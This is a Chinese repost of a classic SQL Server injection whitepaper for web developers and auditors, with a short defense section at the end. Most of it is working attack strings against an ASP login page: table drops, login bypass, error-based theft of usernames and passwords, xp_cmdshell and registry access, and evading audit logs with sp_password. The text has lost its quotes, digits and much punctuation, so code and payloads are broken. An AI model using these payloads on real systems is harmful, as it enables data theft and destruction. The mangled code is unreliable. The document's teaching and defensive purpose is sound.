熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> SQL Server >> 正文

SQL Server應用程序中的高級SQL注入

2013-11-15 14:53:05  來源: SQL Server 

  摘要:這份文檔是詳細討論SQL注入技術它適應於比較流行的IIS+ASP+SQLSERVER平台它討論了哪些SQL語句能通過各種各樣的方法注入到應用程序中並且記錄與攻擊相關的數據確認和數據庫鎖定

  這份文檔的預期讀者為與數據庫通信的WEB程序的開發者和那些扮演審核WEB應用程序的安全專家

  介紹:

  SQL是一種用於關系數據庫的結構化查詢語言它分為許多種但大多數都松散地基於美國國家標准化組織最新的標准SQL典型的執行語句是query它能夠收集比較有達標性的記錄並返回一個單一的結果集SQL語言可以修改數據庫結構(數據定義語言)和操作數據庫內容(數據操作語言)在這份文檔中我們將特別討論SQLSERVER所使用的TransactSQL語言

  當一個攻擊者能夠通過往query中插入一系列的sql語句來操作數據寫入到應用程序中去我們管這種方法定義成SQL注入

  一個典型的SQL語句如下:

  Select idforenamesurname from authors

  這條語句將返回authors表中所有行的idforename和surname列這個結果可以被限制例如:

  Select idforenamesurname from authors where forenamejohn and surname=smith

  需要著重指明的是字符串johnsmith被單引號限制明確的說forename和surname字段是被用戶提供的輸入限制的攻擊者可以通過輸入值來往這個查詢中注入一些SQL語句

  如下:

  Forename:john

  Surname:smith

  查詢語句變為:

  Select idforenamesurname from authors where forename=john and surname=smith

  當數據庫試圖去執行這個查詢時它將返回如下錯誤:

  Server:Msg Level State Line

  Line :Incorrect syntax near hn

  造成這種結果的原因是插入了作為定界符的單引號數據庫嘗試去執行hn但是失敗如果攻擊者提供特別的輸入如:

  Forename:jo;drop table authors—

  Surname:

  結果是authors表被刪除造成這種結果的原因我們稍後再講

  看上去好象通過從輸入中去掉單引號或者通過某些方法避免它們都可以解決這個問題這是可行的但是用這種方法做解決方法會存在幾個困難第一並不是所有用戶提供的數據都是字符串如果用戶輸入的是通過用戶id來查詢author那我們的查詢應該像這樣:

  Select idforenamesurname from authors where id=

  在這種情況下一個攻擊者可以非常簡單地在數字的結尾添加SQL語句在其他版本的SQL語言中使用各種各樣的限定符號;在數據庫管理系統JET引擎中數據可以被使用#限定第二避免單引號盡管看上去可以但是是沒必要的原因我們稍後再講

  我們更進一步地使用一個簡單的ASP登陸頁面來指出哪些能進入SQLSERVER數據庫並且嘗試鑒別進入一些虛構的應用程序的權限

  這是一個提交表單頁的代碼讓用戶輸入用戶名和密碼:

<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor= text=cccccc>
<FONT Face=tahoma color=cccccc>
<CENTER><H>Login</H>
<FORM action=process_loginasp method=post>
<TABLE>
<TR><TD>Username</TD><TD><INPUT type=text name=username size= width=></TD></TR>
<TR><TD>Password</TD><TD><INPUT type=password name=password size= withd=></TD></TR>
</TABLE>
<INPUT type=submit value=Submit><INPUT type=reset value=Reset>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_loginasp的代碼它是用來控制登陸的
<HTML>
<BODY bgcolor= text=ffffff>
<FONT Face=tahoma color=ffffff>
<STYLE>
p { fontsize=pt ! important}
font { fontsize=pt ! important}
h { fontsize=pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Requestform(debug) == true )
Responsewrite( str );
}
function Login( cn ) {
var username;
var password;
username = Requestform(username);
password = Requestform(password);
var rso = ServerCreateObject(ADODBRecordset);
var sql = select * from users where username = + username + and password = + password + ; trace( query: + sql );
rsoopen( sql cn );
if (rsoEOF) {
rsoclose();
%>
<FONT Face=tahoma color=cc>
<H> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H>
</BODY>
</HTML>
<% Responseend return; }
else {
Session(username) = + rso(username);
%>
<FONT Face=tahoma color=cc>
<H> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome <% Responsewrite(rso(Username)); Responsewrite( </BODY></HTML> ); Responseend }
}
function Main() { //Set up connection
var username
var cn = Servercreateobject( ADODBConnection );
cnconnectiontimeout = ;
cnopen( localserver sa password );
username = new String( Requestform(username) );
if( usernamelength > ) {
Login( cn );
}
cnclose();
}
Main();
%>

  出現問題的地方是process_lginasp中產生查詢語句的部分:

  Var sql=select * from users where username=+username+ and password=+password+;

  如果用戶輸入的信息如下:

  Username:;drop table users—

  Password:

  數據庫中表users將被刪除拒絕任何用戶進入應用程序符號在TransactSQL中表示忽略以後的語句;符號表示一個查詢的結束和另一個查詢的開始位於username字段中是必須的它為了使這個特殊的查詢終止並且不返回錯誤

  攻擊者可以只需提供他們知道的用戶名就可以以任何用戶登陸使用如下輸入:

  Username:admin

  攻擊者可以使用users表中第一個用戶輸入如下:

  Username: or =

  更特別地攻擊者可以使用完全虛構的用戶登陸輸入如下:

  Username: union select fictional_usersome_password

  這種結果的原因是應用程序相信攻擊者指定的是從數據庫中返回結果的一部分

  通過錯誤消息獲得信息

  這個幾乎是David Litchfield首先發現的並且通過作者滲透測試的;後來David寫了一份文檔後來作者參考了這份文檔這些解釋討論了錯誤消息潛在的機制使讀者能夠完全地了解它潛在地引發他們的能力

  為了操作數據庫中的數據攻擊者必須確定某些數據庫和某些表的結構例如我們可以使用如下語句創建user表:

  Create talbe users(

  Id int

  Username varchar()

  Password varchar()

  Privs int

  )

  然後將下面的用戶插入到users表中:

  Insert into users values(adminrtrx!xffff)

  Insert into users values(guestguestx)

  Insert into users values(chrispasswordxff)

  Insert into users values(fredsesamexff)

  如果我們的攻擊者想插入一個自己的用戶在不知道users表結構的情況下他不可能成功即使他比較幸運至於privs字段不清楚攻擊者可能插入一個這樣只給他自己一個低權限的用戶

  幸運地如果從應用程序(默認為ASP行為)返回錯誤消息那麼攻擊者可以確定整個數據庫的結構並且可以以程序中連接SQLSERVER的權限度曲任何值

  (下面以一個簡單的數據庫和asp腳本來舉例說明他們是怎麼工作的)

  首先攻擊者想獲得建立用戶的表的名字和字段的名字要做這些攻擊者需要使用select語法的having子句:

  Username: having =

  這樣將會出現如下錯誤:

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]Column usersid is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause

  /process_loginasp line

  因此現在攻擊者知道了表的名字和第一個地段的名字他們仍然可以通過把字段放到group by子句只能感去找到一個一個字段名如下:

  Username: group by usersid having =

  出現的錯誤如下:

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]Column usersusername is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause

  /process_loginasp line

  最終攻擊者得到了username字段後:

   group by usersidusersusernameuserspasswordusersprivs having =

  這句話並不產生錯誤相當於:

  select * from users where username=

  因此攻擊者現在知道查詢涉及users表按順序使用列idusernamepasswordprivs

  能夠確定每個列的類型是非常有用的這可以通過使用類型轉化來實現例如:

  Username: union select sum(username) from users—

  這利用了SQLSERVER在確定兩個結果集的字段是否相等前應用sum子句嘗試去計算sum會得到以下消息:

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument

  /process_loginasp line

  這告訴了我們username字段的類型是varchar如果是另一種情況我們嘗試去計算sum()的是數字類型我們得到的錯誤消息告訴我們兩個集合的字段數量不相等

  Username: union select sum(id) from users—

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists

  /process_loginasp line

  我們可以用這種技術近似地確定數據庫中任何表中的任何字段的類型

  這樣攻擊者就可以寫一個好的insert查詢例如:

  Username:;insert into users values(attackerfoobarxffff)—

  這種技術的潛在影響不僅僅是這些攻擊者可以利用這些錯誤消息顯示環境信息或數據庫通過運行一列一定格式的字符串可以獲得標准的錯誤消息:

  select * from master sysmessages

  解釋這些將實現有趣的消息

  一個特別有用的消息關系到類型轉化如果你嘗試將一個字符串轉化成一個整型數字那麼字符串的所有內容會返回到錯誤消息中例如在我們簡單的登陸頁面中在username後面會顯示出SQLSERVER的版本和所運行的操作系統信息:

  Username: union select @@version

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Microsoft SQL Server (Intel X) Aug :: Copyright (c) Microsoft Corporation Enterprise Edition on Windows NT (Build : Service Pack ) to a column of data type int

  /process_loginasp line

  這句嘗試去將內置的@@version常量轉化成一個整型數字因為users表中的第一列是整型數字

  這種技術可以用來讀取數據庫中任何表的任何值自從攻擊者對用戶名和用戶密碼比較感興趣後他們比較喜歡去從users表中讀取用戶名例如:

  Username: union select min(username) from users where username>a

  這句選擇users表中username大於a中的最小值並試圖把它轉化成一個整型數字:

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value admin to a column of data type int

  /process_loginasp line

  因此攻擊者已經知道用戶admin是存在的這樣他就可以重復通過使用where子句和查詢到的用戶名去尋找下一個用戶

  Username: union select min(username) from users where username>admin

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value chris to a column of data type int

  /process_loginasp line

  一旦攻擊者確定了用戶名他就可以開始收集密碼:

  Username: union select password from users where username=admin

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value rtrx! to a column of data type int

  /process_loginasp line

  一個更高級的技術是將所有用戶名和密碼連接長一個單獨的字符串然後嘗試把它轉化成整型數字這個例子指出:TransavtSQL語法能夠在不改變相同的行的意思的情況下把它們連接起來下面的腳本將把值連接起來:

  begin declare @ret varchar()

  set @ret=:

  select @ret=@ret+ +username+/+password from users where

  username>@ret

  select @ret as ret into foo

  end

  攻擊者使用這個當作用戶名登陸(都在一行)

  Username: ; begin declare @ret varchar() set @ret=: select @ret=@ret+ +username+/+password from users where username>@ret select @ret as ret into foo end—

  這就創建了一個foo表裡面只有一個單獨的列ret裡面存放著我們得到的用戶名和密碼的字符串正常情況下一個低權限的用戶能夠在同一個數據庫中創建表或者創建臨時數據庫

  然後攻擊者就可以取得我們要得到的字符串:

  Username: union select ret from foo—

  Microsoft OLE DB Provider for ODBC Drivers error e

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value : admin/rtrx! guest/guest chris/password fred/sesame to a column of data type int

  /process_loginasp line

  然後丟棄(刪除)表來清楚腳印:

  Username:; drop table foo—

  這個例子僅僅是這種技術的一個表面的作用沒必要說如果攻擊者能夠從數據庫中獲得足夠的錯誤西他們的工作就變的無限簡單

  獲得更高的權限

  一旦攻擊者控制了數據庫他們就想利用那個權限去獲得網絡上更高的控制權這可以通過許多途徑來達到:

   在數據庫服務器上以SQLSERVER權限利用xp_cmdshell擴展存儲過程執行命令

   利用xp_regread擴展存儲過程去讀注冊表的鍵值當然包括SAM鍵(前提是SQLSERVER是以系統權限運行的)

   利用其他存儲過程去改變服務器

   在連接的服務器上執行查詢

   創建客戶擴展存儲過程去在SQLSERVER進程中執行溢出代碼

   使用bulk insert語法去讀服務器上的任意文件

   使用bcp在服務器上建立任意的文本格式的文件

   使用sp_OACreatesp_OAMethod和sp_OAGetProperty系統存儲過程去創建ActiveX應用程序使它能做任何ASP腳本可以做的事情

  這些只列舉了非常普通的可能攻擊方法的少量攻擊者很可能使用其它方法我們介紹收集到的攻擊關於SQL服務器的明顯攻擊方法為了說明哪方面可能並被授予權限去注入SQL我們將依次處理以上提到的各種方法:

  [xp_cmdshell]

  許多存儲過程被創建在SQLSERVER中執行各種各樣的功能例如發送電子郵件和與注冊表交互

  Xp_cmdshell是一個允許執行任意的命令行命令的內置的存儲過程例如:

  Exec masterxp_cmdshell dir

  將獲得SQLSERVER進程的當前工作目錄中的目錄列表

  Exec masterxp_cmdshell net user

  將提供服務器上所有用戶的列表當SQLSERVER正常以系統帳戶或域帳戶運行時攻擊者可以做出更嚴重的危害

  [xp_regread]

  另一個有用的內置存儲過程是xp_regXXXX類的函數集合

  Xp_regaddmultistring

  Xp_regdeletekey

  Xp_regdeletevalue

  Xp_regenumkeys

  Xp_regenumvalues

  Xp_regread

  Xp_regremovemultistring

  Xp_regwrite

  這些函數的使用方法舉例如下:

  exec xp_regread HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Services\lanmanserver\parameters nullsessionshares

  這將確定什麼樣的會話連接在服務器上是可以使用的

  exec xp_regenumvalues HKEY_LOCAL_MACHINESYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities

  這將顯示服務器上所有SNMP團體配置在SNMP團體很少被更改和在許多主機間共享的情況下有了這些信息攻擊者或許會重新配置同一網絡中的網絡設備

  這很容易想象到一個攻擊者可以利用這些函數讀取SAM修改系統服務的配置使它下次機器重啟時啟動或在下次任何用戶登陸時執行一條任意的命令

  [其他存儲過程]

  xp_servicecontrol過程允許用戶啟動停止暫停和繼續服務:

  exec masterxp_servicecontrol startschedule

  exec masterxp_servicecontrol startserver

  下表中列出了少量的其他有用的存儲過程:

  Xp_availablemedia 顯示機器上有用的驅動器

  Xp_dirtree 允許獲得一個目錄樹

  Xp_enumdsn 列舉服務器上的ODBC數據源

  Xp_loginconfig Reveals information about the security mode of the server

  Xp_makecab 允許用戶在服務器上創建一個壓縮文件

  Xp_ntsec_enumdomains 列舉服務器可以進入的域

  Xp_terminate_process 提供進程的進程ID終止此進程

  [Linked Servers]

  SQL SERVER提供了一種允許服務器連接的機制也就是說允許一台數據庫服務器上的查詢能夠操作另一台服務器上的數據這個鏈接存放在mastersysservers表中如果一個連接的服務器已經被設置成使用sp_addlinkedsrvlogin過程當前可信的連接不用登陸就可以訪問到服務器openquery函數允許查詢脫離服務器也可以執行

  [Custom extended stored procedures]

  擴展存儲過程應用程序接口是相當簡單的創建一個攜帶惡意代碼的擴展存儲過程動態連接庫是一個相當簡單的任務使用命令行有幾個方法可以上傳動態連接庫到SQL服務器上還有其它包括了多種自動通訊的通訊機制比如HTTP下載和FTP腳本

  一旦動態連接庫文件在機器上運行即SQL服務器能夠被訪問——這不需要它自己是SQL服務器——攻擊者就能夠使用下面的命令添加擴展存儲過程(這種情況下我們的惡意存儲過程就是一個能輸出服務器的系統文件的小的木馬):

  Sp_addextendedproc xp_webserverc:\temp\xp_foodll

  在正常的方式下這個擴展存儲過程可以被運行:

  exec xp_webserver

  一旦這個程序被運行可以使用下面的方法將它除去:

  xp_dropextendedproc xp_webserver

  [將文本文件導入表]

  使用bulk insert語法可以將一個文本文件插入到一個臨時表中簡單地創建這個表:

  create table foo( line varchar() )

  然後執行bulk insert操作把文件中的數據插入到表中如:

  bulk insert foo from c:\inetpub\wwwroot\process_loginasp

  可以使用上述的錯誤消息技術或者使用union選擇使文本文件中的數據與應用程序正常返回的數據結合將數據取回這個用來獲取存放在數據庫服務器上的腳本源代碼或者ASP腳本代碼是非常有用的

  [使用bcp建立文本文件]

  使用bulk insert的相對技術可以很容易建立任意的文本文件不幸的是這需要命令行工具bcpbulk copy program

  既然 bcp可以從SQL服務進程外訪問數據庫它需要登陸這代表獲得權限不是很困難既然攻擊者能建立或者利用整體安全機制(如果服務器配置成可以使用它)

  命令行格式如下:

  bcp select * from textfoo queryout c:\inetpub\wwwroot\runcommandasp –c Slocalhost –Usa –Pfoobar

  S參數為執行查詢的服務器U參數為用戶名P參數為密碼這裡為foobar

  [ActiveX automation scripts in SQL SERVER]

  SQL SERVER中提供了幾個內置的允許創建ActiveX自動執行腳本的存儲過程這些腳本和運行在windows腳本解釋器下的腳本或者ASP腳本程序一樣——他們使用VBScript或JavaScript書寫他們創建自動執行對象並和它們交互一個自動執行腳本使用這種方法書寫可以在TransactSQL中做任何在ASP腳本中或者WSH腳本中可以做的任何事情為了闡明這鞋這裡提供了幾個例子:

  ()這個例子使用wscriptshell對象建立了一個記事本的實例:

  wscriptshell example

  declare @o int

  exec sp_oacreate wscriptshell@o out

  exec sp_oamethod @orunNULLnotepadexe

  我們可以通過指定在用戶名後面來執行它:

  Username:; declare @o int exec sp_oacreate wscriptshell@o out exec sp_oamethod @orunNULLnotepadexe

  ()這個例子使用scriptingfilesystemobject對象讀一個已知的文本文件:

  scriptingfilesystemobject example – read a known file

  declare @o int @f int @t int @ret int

  declare @line varchar()

  exec sp_oacreate scriptingfilesystemobject @o out

  exec sp_oamethod @o opentextfile @f out c:\bootini

  exec @ret=sp_oamethod @freadline@line out

  while(@ret=)

  begin

  print @line

  exec @ret=sp_oamethod @freadline@line out

  end

  ()這個例子創建了一個能執行通過提交到的任何命令:

   scriptingfilesystemobject example – create a run thisasp file

  declare @o int@f int@t int@ret int

  exec sp_oacreate scriptingfilesystemobject@o out

  exec sp_oamethod @ocreatetextfile@f outc:\inetpub\wwwroot\fooasp

  exec @ret=sp_oamethod @fwritelineNULL

  需要指出的是如果運行的環境是WIN NT+IIS平台上那麼通過這個程序運行的命令是以系統權限運行的在IIS它以一個比較低的權限IWAM_XXXaccount運行

  ()這些例子闡述了這個技術的適用性;它可以使用speechvoicetext對象引起SQL SERVER發聲:

  declare @o int@ret int

  exec sp_oacreate speechvoicetext@o out

  exec sp_oamethod @oregisterNULLfoobar

  exec sp_oasetproperty @ospeed

  exec sp_oamethod @ospeakNULLall your sequel servers are belong tous

  waitfor delay ::

  我們可以在我們假定的例子中通過指定在用戶名後面來執行它(注意這個例子不僅僅是注入一個腳本同時以admin權限登陸到應用程序):

  Username:admin;declare @o int@ret int exec sp_oacreate speechvoicetext@o out exec sp_oamethod @oregisterNULLfoobar exec sp_oasetproperty @ospeed exec sp_oamethod @ospeakNULLall your sequel servers are belong to us waitfor delay ::

  [存儲過程]

  傳說如果一個ASP應用程序在數據庫中使用了存儲過程那麼SQL注入是不可能的這句話只對了一半這要看ASP腳本中調用這個存儲過程的方式

  本質上如果一個有參數的查詢被執行 並且用戶提供的參數通過安全檢查才放入到查詢中那麼SQL注入明顯是不可能發生的但是如果攻擊者努力影響所執行查詢語句的非數據部分這樣他們就可能能夠控制數據庫

  比較好的常規的標准是:

  · 如果一個ASP腳本能夠產生一個被提交的SQL查詢字符串即使它使用了存儲過程也是能夠引起SQL注入的弱點

  · 如果一個ASP腳本使用一個過程對象限制參數的往存儲過程中分配(例如ADO的用於參數收集的command對象)那麼通過這個對象的執行它一般是安全的

  明顯地既然新的攻擊技術始終地被發現好的慣例仍然是驗證用戶所有的輸入

  為了闡明存儲過程的查詢注入執行以下語句:

  sp_who select * from sysobjects

  or

  sp_who ;select * from sysobjects

  任何一種方法在存儲過程後追加的查詢依然會執行

  [高級SQL注入]

  通常情況下一個web應用程序將會過濾單引號(或其他符號)或者限定用戶提交的數據的長度

  在這部分我們討論一些能幫助攻擊者饒過那些明顯防范SQL注入躲避被記錄的技術

  [沒有單引號的字符串]

  有時候開發人員會通過過濾所有的單引號來保護應用程序他們可能使用VBScript中的replace函數或類似:

  function escape(input)

  input=replace(input)

  escape=input

  end function

  無可否認地這防止了我們所有例子的攻擊再除去;符號也可以幫很多忙但是在一個大型的應用程序中好象個別值期望用戶輸入的是數字這些值沒有被限定因此為攻擊者提供了一個SQL注入的弱點

  如果攻擊者想不使用單引號產生一個字符串值他可以使用char函數例如:

  insert into users values(

  char(x)+char(x)+char(x)+charx)+char(x) char(x)+char(x)+char(x)+charx)+char(x)

  xffff)

  這就是一個能夠往表中插入字符串的不包含單引號的查詢

  淡然如果攻擊者不介意使用一個數字用戶名和密碼下面的語句也同樣會起作用:

  insert into users values(oxffff)

  SQL SERVER自動地將整型轉化為varchar型的值

  [SecondOrder SQL Injection]

  即使應用程序總是過濾單引號攻擊者依然能夠注入SQL同樣通過應用程序使數據庫中的數據重復使用

  例如攻擊者可能利用下面的信息在應用程序中注冊:

  Username:admin

  Password:password

  應用程序正確過濾了單引號返回了一個類似這樣的insert語句:

  insert into users values(adminpasswordxffff)

  我們假設應用程序允許用戶修改自己的密碼這個ASP腳本程序首先保證用戶設置新密碼前擁有正確的舊密碼代碼如下:

  username = escape( Requestform(username) );

  oldpassword = escape( Requestform(oldpassword) );

  newpassword = escape( Requestform(newpassword) );

  var rso = ServerCreateObject(ADODBRecordset);

  var sql = select * from users where username = + username + and password = + oldpassword + ;

  rsoopen( sql cn );

  if (rsoEOF)

  {

  …

  設置新密碼的代碼如下:

  sql = update users set password = + newpassword + where username = + rso(username) +

  rso(username)為登陸查詢中返回的用戶名

  當username為admin—時查詢語句為:

  update users set password = password where username=admin

  這樣攻擊者可以通過注冊一個admin—的用戶來根據自己的想法來設置admin的密碼

  這是一個非常嚴重的問題目前在大型的應用程序中試圖去過濾數據最好的解決方法是拒絕非法輸入這勝於簡單地努力去修改它這有時會導致一個問題非法的字符在那裡是必要的例如在用戶名中包含符號例如

  OBrien

  從一個安全的觀點來看最好的解答是但引號不允許存在是一個簡單的事實如果這是無法接受的話他們仍然要被過濾;在這種情況下保證所有進入SQL查詢的數據都是正確的是最好的方法

  如果攻擊者不使用任何應用程序莫名其妙地往系統中插入數據這種方式的攻擊也是可能的應用程序可能有email接口或者可能在數據庫中可以存儲錯誤日志這樣攻擊者可以努力控制它驗證所有數據包括數據庫中已經存在的數據始終是個好的方法確認函數將被簡單地調用例如:

  if(not isValid(emailrequestquerystring(email))) then

  responseend

  或者類似的方法

  [長度限制]

  為了給攻擊者更多的困難有時輸入數據的長度是被限制的當這個阻礙了攻擊時一個小的SQL可以造成很嚴重的危害例如:

  Username:;shutdown—

  這樣只用個輸入字符就將停止SQL SERVER實例另一個例子是:

  drop table

  如果限定長度是在過濾字符串後應用將會引發另一個問題假設用戶名被限定個字符密碼也被限定個字符那麼下面的用戶名和密碼結合將會執行上面提到的shutdown命令:

  Username:aaaaaaaaaaaaaaa

  Password:; shutdown—

  原因是應用程序嘗試去過濾用戶名最後的單引號但是字符串被切斷成個字符刪除了過濾後的一個單引號這樣的結果就是如果密碼字段以單引號開始它可以包含一些SQL語句既然這樣查詢看上去是:

  select * from users where username=aaaaaaaaaaaaaaa and password=;shutdown—

  實際上查詢中的用戶名已經變為:

  aaaaaaaaaaaaaaa and password=

  因此最後的SQL語句會被執行

  [審計]

  SQL SERVER包含了豐富的允許記錄數據庫中的各種事件的審計接口它包含在sp_traceXXX類的函數中特別有意思的是能夠記錄所有SQL語句然後在服務器上執行的TSQL的事件如果這種審計是被激活的我們討論的所有注入的SQL查詢都將被記錄在數據庫中一個熟練的數據庫管理員將能夠知道發生了什麼事不幸地如果攻擊者追加以下字符串:

  Sp_password

  到一個TransactSQL語句中這個審計機制記錄日志如下:

  sp_password was found in the text of this event

   The text has been replaced with this comment for security reasons

  這種行為發生在所有的TSQL日記記錄中即使sp_password發生在一個注釋中這個過程打算通過sp_password隱藏用戶的密碼但這對於一個攻擊者來說是非常有用的方法

  因此為了隱藏所有注入攻擊者需要簡單地在注釋字符後追加sp_password例如:

  Username:admin—sp_password

  事實上一些被執行的SQL將被記錄但是查詢本身將順利地從日志中消失

  [防范]

  這部分討論針對記述的攻擊的一些防范我們將討論輸入確認和提供一些簡單的代碼然後我們將從事SQL SERVER鎖定

  [輸入驗證]

  輸入驗證是一個復雜的題目比較有代表性的是自從過於嚴密地確認傾向於引起部分應用程序的暫停輸入確認問題很難被解決在項目開發中投入很少的注意力在輸入確認上輸入確認不是傾向於將它加入到應用程序的功能當中因此它一般會被忽視

  下面是一個含有簡單代碼的討論輸入確認的大綱這個簡單的代碼不能直接用於應用程序中但是它十分清晰地闡明了不同的策略

  不同的數據確認方法可以按以下分類:

  ) 努力修改數據使它成為正確的

  ) 拒絕被認為是錯誤的輸入

  ) 只接收被認為是正確的輸入

  第一種情況有一些概念上的問題;首先開發人員沒必要知道那些是錯誤數據因為新的錯誤數據的形式始終被發現其次修改數據會引起上面描述過的數據的長度問題最後二次使用的問題包括系統中已經存在數據的重新使用

  第二種情況也存在第一種情況中的問題;已知的錯誤輸入隨著攻擊技術的發展變化

  第三種情況可能是三種中最好的但是很難實現

  從安全角度看合並第二種方法和第三種方法可能是最好的方法——只允許正確的輸入然後搜索輸入中已知的錯誤數據

  帶有連接符號的姓名的問題對於體現合並兩種方法的必要性是一個好的例子:

  Quentin BassingtonBassington

  我們必須在正確輸入中允許連接符號但是我們也意識到字符序列對SQL SERVER很重要

  當合並修改數據和字符序列確認時會出現另一個問題例如如果我們應用一個錯誤過濾在除去單引號之後去探測selectunion攻擊者可以輸入:

  union select @@version

  既然單引號被除去攻擊者可以簡單地散布單引號在自己的錯誤的字符串中躲避被發現

  這有一些確認代碼的例子:

  方法一過濾單引號

  function escape(input)

  input=replace(input)

  escape=input

  end function

  方法二拒絕已知的錯誤輸入

  function validate_string(input)

  known_bad=array(selectinsertupdatedeletedrop)

  validate_string=true

  for i=lbound(known_bad) to ubound(known_bad)

  if(instr(inputknown_bad(i)vbtextcompare)<>) then

  validate_string=false

  exit function

  end if

  next

  end function

  方法三只允許正確的輸入

  function validatepassword(input)

  good_password_chars= abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

  validatepassword=true

  for i= to len(input)

  c=mid(inputI)

  if(InStr(good_password_charsc)=) then

  validatepassword=false

  exit function

  end if

  next

  end function

  [SQL SERVER鎖定]

  在這指出的重要一點是鎖定SQL SERVER是必要的;外面的是不安全的這是一個但創建SQL SERVER時需要做的事情的簡短的列表:

  確定連接服務器的方法

  a確定你所使用的網絡庫是可用的那麼使用Network Utility

  確定哪些帳戶是存在的

  a為應用程序的使用創建一個低權限的帳戶

  b刪除不必要的帳戶

  c確定所有帳戶有強壯的密碼;執行密碼審計

  確定哪些對象存在

  a許多擴展存儲過程能被安全地移除如果這樣做了應該移除包含在擴展存儲過程代碼中的dll文件

  b移除所有示例數據庫——例如northwindpubs數據庫

  確定哪寫帳戶能過使用哪些對象

  a應用程序進入數據庫所使用的帳戶應該有保證能夠使用它需要的對象的最小權限

  確定服務器的補丁

  a針對SQL SERVER有一些緩沖區溢出和格式化字符串攻擊也有一些其他的安全補丁發布應該存在很多

  確定什麼應該被日志記錄什麼應該在日志中結束

  [參考文獻]

  [] Web Application Disassembly with ODBC Error Messages David Litchfield

  http://wwwnextgensscom/papers/webappdisdoc

  [] SQL Server Security Checklist

  http://wwwsqlsecuritycom/checklistasp

  [] SQL Server Extended Stored Procedure Vulnerability

  http://wwwatstakecom/research/advisories//atxt

  [] Microsoft SQL Server Extended Stored Procedure Vulnerability

  http://wwwatstakecom/research/advisories//atxt

  [] Multiple Buffer Format String Vulnerabilities In SQL Server

  http://wwwmicrosoftcom/technet/security/bulletin/MSasp
  http://wwwatstakecom/research/advisories//atxt


From:http://tw.wingwit.com/Article/program/SQLServer/201311/22494.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.